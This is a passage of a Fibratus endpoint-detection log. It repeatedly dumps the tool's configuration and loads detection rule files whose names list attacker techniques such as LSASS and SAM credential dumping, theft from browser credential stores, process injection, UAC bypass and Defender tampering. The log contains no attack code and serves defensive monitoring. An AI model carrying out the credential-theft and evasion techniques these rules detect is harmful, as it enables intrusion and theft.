delivery-mode=>transient durable=>false passive=>false]] + pe ............................. [ read-sections=>false excluded-images=>[svchost.exe] read-resources=>false enabled=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ skip-files=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] fastscan=>true skip-allocs=>false excluded-files=>[] skip-registry=>false scan-timeout=>10s skip-mmaps=>false enabled=>false excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-22T13:15:02+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-22T13:15:04+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-22T13:15:13+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-22T13:15:14+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-22T13:15:14+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-22T13:17:23+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-22T13:17:23+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-22T13:17:23+01:00 level=info msg=bootstrapping with pid 15496. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-22T13:17:23+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ quiet-mode=>false sound=>true enabled=>false] mail=>[ port=>25 to=>[] enabled=>false use-template=>true content-type=>text/html] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-pe=>false serialize-threads=>false serialize-images=>false serialize-envs=>true] + eventsource .................... [ enable-image=>true enable-mem=>false enable-thread=>true enable-registry=>true buffer-size=>512 stack-enrichment=>true enable-net=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] min-buffers=>16 enable-audit-api=>true enable-threadpool=>false enable-dns=>false enable-fileio=>true flush-interval=>1s enable-handle=>false max-buffers=>36 enable-vamap=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 log-stdout=>true level=>info max-size=>100 formatter=>text max-age=>0] + output ......................... [ http=>[ enabled=>false tls-insecure-skip-verify=>false endpoints=>[] method=>POST enable-gzip=>false timeout=>5s serializer=>json] amqp=>[ durable=>false exchange=>fibratus passive=>false tls-insecure-skip-verify=>false timeout=>5s routing-key=>fibratus vhost=>/ enabled=>false delivery-mode=>transient url=>amqp://localhost:5672 exchange-type=>topic] elasticsearch=>[ bulk-workers=>1 trace-log=>false timeout=>5s healthcheck-interval=>10s sniff=>false gzip-compression=>false healthcheck=>true servers=>[http://127.0.0.1:9200] enabled=>false template-name=>fibratus flush-period=>1s healthcheck-timeout=>5s index-name=>fibratus] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-symbols=>false read-resources=>false read-sections=>false enabled=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false skip-registry=>false fastscan=>true excluded-procs=>[] skip-allocs=>false scan-timeout=>10s enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-files=>[] skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-22T13:17:23+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-22T13:17:26+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-22T13:18:06+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-22T13:18:07+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-22T13:18:07+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-22T13:18:10+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 